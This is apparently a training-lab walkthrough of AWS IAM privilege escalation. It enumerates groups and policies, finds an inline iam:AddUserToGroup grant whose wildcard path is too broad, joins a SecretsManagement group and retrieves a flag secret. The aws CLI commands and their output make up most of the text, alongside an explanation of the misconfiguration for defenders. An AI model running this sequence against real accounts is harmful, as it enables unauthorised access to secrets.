Using the provided Access Key ID and Secret Access Key, configure your AWS CLI profile.
aws configure
Enumerate your user’s permissions:
aws iam list-groups
{
"Groups": [
{
"Path": "/division_it/admins/",
"GroupName": "iam-addusertogroup-privesc-1702070034341-Admins",
"GroupId": "AGPA5M7PA4Z5WTSLT5RD4",
"Arn": "arn:aws:iam::921234892411:group/division_it/admins/iam-addusertogroup-privesc-1702070034341-Admins",
"CreateDate": "2023-12-08T21:14:00+00:00"
},
{
"Path": "/division_it/product_cheeta/engineering/development/",
"GroupName": "iam-addusertogroup-privesc-1702070034341-Developers",
"GroupId": "AGPA5M7PA4Z56PPXZ7H3N",
"Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/development/iam-addusertogroup-privesc-1702070034341-Developers",
"CreateDate": "2023-12-08T21:14:00+00:00"
},
{
"Path": "/division_it/product_cheeta/engineering/secrets/",
"GroupName": "iam-addusertogroup-privesc-1702070034341-SecretsManagement",
"GroupId": "AGPA5M7PA4Z572MHJDLEA",
"Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/secrets/iam-addusertogroup-privesc-1702070034341-SecretsManagement",
"CreateDate": "2023-12-08T21:14:00+00:00"
}
]
}
Code language: PHP (php)
(Notice the Path
of these groups, they are highly relevant to this lab’s vulnerability)
List policies for these groups:
aws iam list-group-policies --group-name iam-addusertogroup-privesc-1702070034341-Admins
{
"PolicyNames": [
"iam-addusertogroup-privesc-1702070034341-admins"
]
}
Code language: PHP (php)
aws iam list-group-policies --group-name iam-addusertogroup-privesc-1702070034341-Developers
{
"PolicyNames": [
"iam-addusertogroup-privesc-1702070034341-developers"
]
}
Code language: PHP (php)
aws iam list-group-policies --group-name iam-addusertogroup-privesc-1702070034341-SecretsManagement
{
"PolicyNames": [
"iam-addusertogroup-privesc-1702070034341-secrets"
]
}
Code language: PHP (php)
Now let’s list the permissions:
aws iam get-group-policy --group-name iam-addusertogroup-privesc-1702070034341-Admins --policy-name iam-addusertogroup-privesc-1702070034341-admins
{
"GroupName": "iam-addusertogroup-privesc-1702070034341-Admins",
"PolicyName": "iam-addusertogroup-privesc-1702070034341-admins",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "*",
"Resource": "*",
"Effect": "Deny"
}
]
}
}
Code language: JavaScript (javascript)
Yikes! That one’s called “Admins” but it explicitly denies all permissions and looks like a honeypot to me! If you were to somehow add yourself to that group, you would block all of your access.
aws iam get-group-policy --group-name iam-addusertogroup-privesc-1702070034341-Developers --policy-name iam-addusertogroup-privesc-1702070034341-developers
{
"GroupName": "iam-addusertogroup-privesc-1702070034341-Developers",
"PolicyName": "iam-addusertogroup-privesc-1702070034341-developers",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:ListGroupPolicies",
"iam:ListPolicies",
"iam:ListPolicyVersions",
"iam:ListUsers",
"iam:ListGroups",
"iam:ListGroupsForUser",
"iam:GetPolicy",
"iam:GetUser",
"iam:GetUserPolicy",
"iam:GetGroupPolicy",
"iam:ListUserPolicies"
],
"Resource": "*",
"Effect": "Allow"
}
]
}
}
Code language: JavaScript (javascript)
Those are the permissions we currently have, since we’re part of this Developers group. Definitely no permissions to view secrets…
Let’s check the final group:
aws iam get-group-policy --group-name iam-addusertogroup-privesc-1702070034341-SecretsManagement --policy-name iam-addusertogroup-privesc-1702070034341-secrets
{
"GroupName": "iam-addusertogroup-privesc-1702070034341-SecretsManagement",
"PolicyName": "iam-addusertogroup-privesc-1702070034341-secrets",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"secretsmanager:GetSecretValue",
"secretsmanager:ListSecretVersionIds",
"secretsmanager:GetResourcePolicy",
"secretsmanager:DescribeSecret"
],
"Resource": "arn:aws:secretsmanager:us-east-1:921234892411:secret:iam-addusertogroup-privesc-1702070034341-final_flag*",
"Effect": "Allow"
},
{
"Action": "secretsmanager:ListSecrets",
"Resource": "*",
"Effect": "Allow"
}
]
}
}
Code language: JavaScript (javascript)
That’s it! That’s the group we want to add ourselves to…except our group permissions don’t give us iam:AddUserToGroup
🤔
That’s exactly what an Admin or Security Engineer might think and overlook, except we do have those permissions. They’re just added to our user as an inline policy.
aws iam list-user-policies --user-name iam-addusertogroup-privesc-1702070034341-SeniorDev
{
"PolicyNames": [
"iam-addusertogroup-privesc-1702070034341-senior-manager"
]
}
Code language: PHP (php)
As we can see, our -SeniorDev
user has an inline policy, and if we read that policy:
aws iam get-user-policy --user-name iam-addusertogroup-privesc-1702070034341-SeniorDev --policy-name iam-addusertogroup-privesc-1702070034341-senior-manager
{
"UserName": "iam-addusertogroup-privesc-1702070034341-SeniorDev",
"PolicyName": "iam-addusertogroup-privesc-1702070034341-senior-manager",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:AddUserToGroup"
],
"Resource": [
"arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/*"
],
"Effect": "Allow"
}
]
}
}
Code language: JavaScript (javascript)
…we can see the major issue.
You can find inline policies like these in production AWS environments because of an exchange that might go something like this:
An IT manager goes to the person in charge of IAM permissions and says “hey, I need to add this developer to my group, and we’re about to hire 5 more devs, so can you just give me permissions to add them to my team group so I don’t have to keep asking you and waiting for you to do it? Thanks!”
That person goes “ahhh ok yeah these requests are sucking up a lot of my time and I’m already behind schedule on my tasks. One sec let me give you access”
They rush it, and they write this policy that we just saw:
{
"Action": [
"iam:AddUserToGroup"
],
"Resource": [
"arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/*"
],
"Effect": "Allow"
}
Code language: JSON / JSON with Comments (json)
The main problem here (apart from it being an inline policy) is the Resource
:
arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/*
This grants the ability to iam:AddUserToGroup
for the resource
arn:aws:iam::${AWS::AccountId}:group/division_it/product_cheeta/engineering/*
Code language: PHP (php)
The -Developers
group’s path is:
/division_it/product_cheeta/engineering/development/
And the -SecretsManagement
path is:
/division_it/product_cheeta/engineering/secrets/
Which means that the iam:AddUserToGroup
permission applies to both of those groups! This is one of the dangers of using the *
wildcard in IAM policies without being very careful that it doesn’t apply to things it shouldn’t. A scenario like this can very easily happen over time as people make changes without truly thinking through the impact!
So now, we can do this:
aws iam add-user-to-group --group-name iam-addusertogroup-privesc-1702070034341-SecretsManagement --user-name iam-addusertogroup-privesc-1702070034341-SeniorDev
Verify that it worked:
aws iam list-groups-for-user --user-name iam-addusertogroup-privesc-1702070034341-SeniorDev
{
"Groups": [
{
"Path": "/division_it/product_cheeta/engineering/development/",
"GroupName": "iam-addusertogroup-privesc-1702070034341-Developers",
"GroupId": "AGPA5M7PA4Z56PPXZ7H3N",
"Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/development/iam-addusertogroup-privesc-1702070034341-Developers",
"CreateDate": "2023-12-08T21:14:00+00:00"
},
{
"Path": "/division_it/product_cheeta/engineering/secrets/",
"GroupName": "iam-addusertogroup-privesc-1702070034341-SecretsManagement",
"GroupId": "AGPA5M7PA4Z572MHJDLEA",
"Arn": "arn:aws:iam::921234892411:group/division_it/product_cheeta/engineering/secrets/iam-addusertogroup-privesc-1702070034341-SecretsManagement",
"CreateDate": "2023-12-08T21:14:00+00:00"
}
]
}
Code language: PHP (php)
Let’s use our newfound powers to list secrets:
aws secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:iam-addusertogroup-privesc-1702070034341-final_flag-6Gm2jz",
"Name": "iam-addusertogroup-privesc-1702070034341-final_flag",
"Description": "Secret containing a flag",
"LastChangedDate": "2023-12-08T14:13:58.904000-07:00",
"Tags": [
{
"Key": "aws:cloudformation:stack-name",
"Value": "iam-addusertogroup-privesc-1702070034341"
},
{
"Key": "aws:cloudformation:logical-id",
"Value": "FlagSecret"
},
{
"Key": "cybr-lab",
"Value": "auto-deployed"
},
{
"Key": "aws:cloudformation:stack-id",
"Value": "arn:aws:cloudformation:us-east-1:921234892411:stack/iam-addusertogroup-privesc-1702070034341/b15859d0-960e-11ee-bc2a-0e53fc2b6a31"
}
],
"SecretVersionsToStages": {
"e5aebf09-61a7-7b32-3c53-3b14621bb932": [
"AWSCURRENT"
]
},
"CreatedDate": "2023-12-08T14:13:58.863000-07:00"
}
]
}
Code language: PHP (php)
Use the Name
(also acts as the ID in this case) to run this:
aws secretsmanager get-secret-value --secret-id iam-addusertogroup-privesc-1702070034341-final_flag
{
"ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:iam-addusertogroup-privesc-1702070034341-final_flag-6Gm2jz",
"Name": "iam-addusertogroup-privesc-1702070034341-final_flag",
"VersionId": "e5aebf09-61a7-7b32-3c53-3b14621bb932",
"SecretString": "{\\"vault-password\\": \\"<REDACTED>\\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-12-08T14:13:58.899000-07:00"
}
Code language: JavaScript (javascript)
The secret value is shown in SecretString
(I’ve redacted it so that you have to complete the lab to see it ;)). Copy/paste it and submit it as the flag!
Congrats! You’ve completed the lab.
Responses